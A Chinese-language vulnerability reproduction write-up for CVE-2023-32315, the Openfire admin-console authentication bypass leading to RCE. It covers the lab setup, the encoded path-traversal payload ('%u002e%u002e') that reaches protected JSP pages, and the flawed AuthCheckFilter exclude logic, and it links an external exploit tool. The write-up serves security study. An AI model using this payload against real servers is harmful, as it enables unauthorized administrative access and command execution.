01
简介
02
影响版本
4.7.0<=Openfire <4.7.5
选择搭建的版本为4.7.4,windos下搭建省心省力,下载链接:
https://github.com/igniterealtime/Openfire/releases/download/v4.7.4/openfire_4_7_4_x64.exe
03
环境搭建
一直下一步。
前提是环境已经安装过jdk。
启动服务端,访问管理界面进行配置。
http:
//192.168.95.130:9090/setup/index.jsp
掠过其它步骤,数据库无需配置,配置管理账户。
04
漏洞复现
http:
//192.168.95.130:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
泄露日志文件,payload如下:
/setup/setup-s/%u002e%u002e/%u002e%u002e
/*.jsp
05
漏洞分析
<filter-mapping>
<filter-name>AuthCheck</filter-name>
<url-pattern>*.jsp</url-pattern>
</filter-mapping>
<filter>
<filter-name>AuthCheck</filter-name>
<filter-
class
>
org.jivesoftware.admin.AuthCheckFilter</filter-
class
>
<init-param>
<param-name>excludes</param-name>
<param-value>
login.jsp,index.jsp?logout=
true
,setup/index.jsp,setup/setup-*,.gif,.png,error-serverdown.jsp,loginToken.jsp
</param-value>
</init-param>
</filter>
查看源文件该配置文件已经修改了,但是查看最新版本和4.7.4的文件对比发现该部分内容如上。
xmppserver/src/main/java/org/jivesoftware/admin/AuthCheckFilter.java
public
static
boolean
testURLPassesExclude
(String url, String exclude)
{
if
(exclude.endsWith(
"*"
)) {
if
(url.startsWith(exclude.substring(
0
, exclude.length()
-1
))) {
// Now make sure that there are no ".." characters in the rest of the URL.
if
(!url.contains(
".."
) && !url.toLowerCase().contains(
"%2e"
)) {
return
true
;
}
}
该代码部分导致了漏洞的产生,当url中含有setup的路径的时候满足第一个if语句,当满payload中含有../../的时候满足第二个if条件,当../../做uft-8编码的时候绕过了第三个if条件导致了bypass,所以在修复的代码中对于用户认证这部分增加utf8的解码以及在web.xml中对exclude的值做了修改。
同样4.7.5中已经修改。
06
创建用户
图片来自于github,工具我没有测试,有兴趣的可以参考。
https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass
07
命令执行
上传成功
执行命令
原文始发于微信公众号(火线Zone):CVE-2023-32315从未授权到RCE复现分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论